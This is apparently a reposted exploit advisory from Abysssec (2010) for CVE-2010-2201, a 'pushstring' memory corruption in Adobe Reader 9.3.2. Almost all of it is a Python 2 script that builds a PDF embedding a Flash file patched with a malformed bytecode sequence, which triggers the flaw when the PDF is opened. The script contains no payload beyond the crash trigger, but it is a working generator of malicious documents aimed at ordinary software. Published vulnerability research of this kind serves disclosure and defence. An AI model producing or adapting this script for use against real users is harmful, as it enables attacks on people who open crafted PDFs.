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Adobe Acrobat and Reader "pushstring" Memory Corruption
来源:http://www.abysssec.com 作者:Abysssec 发布时间:2010-09-13  

'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub12-adobe-acrobat-and-reader-pushstring-memory-corruption/
http://www.exploit-db.com/sploits/moaub-12-exploit.zip
'''

'''
  Title             :  Adobe Acrobat and Reader "pushstring" Memory Corruption
  Version           :  Adobe Reader 9.3.2
  Analysis         :  http://www.abysssec.com
  Vendor            :  http://www.adobe.com
  Impact            :  Med/High
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-2201
  MOAUB Number      :  MOAUB-10
'''

import sys

class PDF:
    
 def __init__(self):
  self.xrefs = []
  self.eol = '\x0a'
  self.content = ''
  self.xrefs_offset = 0
  
 def header(self):
  self.content += '%PDF-1.6' + self.eol
  
 def obj(self, obj_num, data,flag):
  self.xrefs.append(len(self.content))
  self.content += '%d 0 obj' % obj_num
  if flag == 1:
   self.content += self.eol + '<< ' + data + ' >>' + self.eol
  else:
   self.content += self.eol + data + self.eol
  self.content += 'endobj' + self.eol

 def obj_SWFStream(self, obj_num, data, stream):
  self.xrefs.append(len(self.content))
  self.content += '%d 0 obj' % obj_num
  self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
  self.content += ' >>' + self.eol
  self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
  self.content += 'endobj' + self.eol
 
 def obj_Stream(self, obj_num, data, stream):
  self.xrefs.append(len(self.content))
  self.content += '%d 0 obj' % obj_num
  self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
  self.content += ' >>' + self.eol
  self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
  self.content += 'endobj' + self.eol
  
 def ref(self, ref_num):
  return '%d 0 R' % ref_num
  
 def xref(self):
  self.xrefs_offset = len(self.content)
  self.content += 'xref' + self.eol
  self.content += '0 %d' % (len(self.xrefs) + 1)
  self.content += self.eol
  self.content += '0000000000 65535 f' + self.eol
  for i in self.xrefs:
   self.content += '%010d 00000 n' % i
   self.content += self.eol
   
 def trailer(self):
  self.content += 'trailer' + self.eol
  self.content += '<< /Size %d' % (len(self.xrefs) + 1)
  self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
  self.content += 'startxref' + self.eol
  self.content += '%d' % self.xrefs_offset
  self.content += self.eol
  self.content += '%%EOF'
  
 def generate(self):
  return self.content


  
  
class POC:

    def getSWF(self):
        try:
            fdR = open('flash.swf', 'rb+')
            strTotal = fdR.read()  
            str1 = strTotal[:479]
   
            command = '\x2C\xE8\x88\xF0\xFF\x33'   #pushstring
   
            str2 = strTotal[485:]
   
            fdW= open('poc.swf', 'wb+')
            finalStr = str1+command+str2
            fdW.write(finalStr) 
           
            fdR.close()
            return finalStr
           
        except IOError:
            print '[*] Error : An IO error has occurred'
  

def generate_pdf():
 poc = POC()
 swfFile = 'poc.swf'
 pdf = PDF()
 pdf.header()
 pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
 pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
 pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
 pdf.obj_Stream(4, '','')
 pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
 pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) 
 pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
 pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) 
 pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) 
 pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) 
 pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) 
 pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) 
 pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
 pdf.obj_SWFStream(14, ' /Type /EmbeddedFile  ',poc.getSWF() ) 
 pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
 pdf.obj_Stream(16, '<</Length 0 >> ','') 
 
 
 pdf.xref()
 pdf.trailer()
 return pdf.generate()
 
def main():
 if len(sys.argv) != 2:
  print 'Usage: python %s [output file name]' % sys.argv[0]
  sys.exit(0)
 file_name = sys.argv[1]
 if not file_name.endswith('.pdf'):
  file_name = file_name + '.pdf'
 try:
  fd = open(file_name, 'wb+')
  fd.write(generate_pdf())
  fd.close()
  print '[-] PDF file generated and written to %s' % file_name
 except IOError:
  print '[*] Error : An IO error has occurred'
  print '[-] Exiting ...'
  sys.exit(-1)
if __name__ == '__main__':
 main()


 
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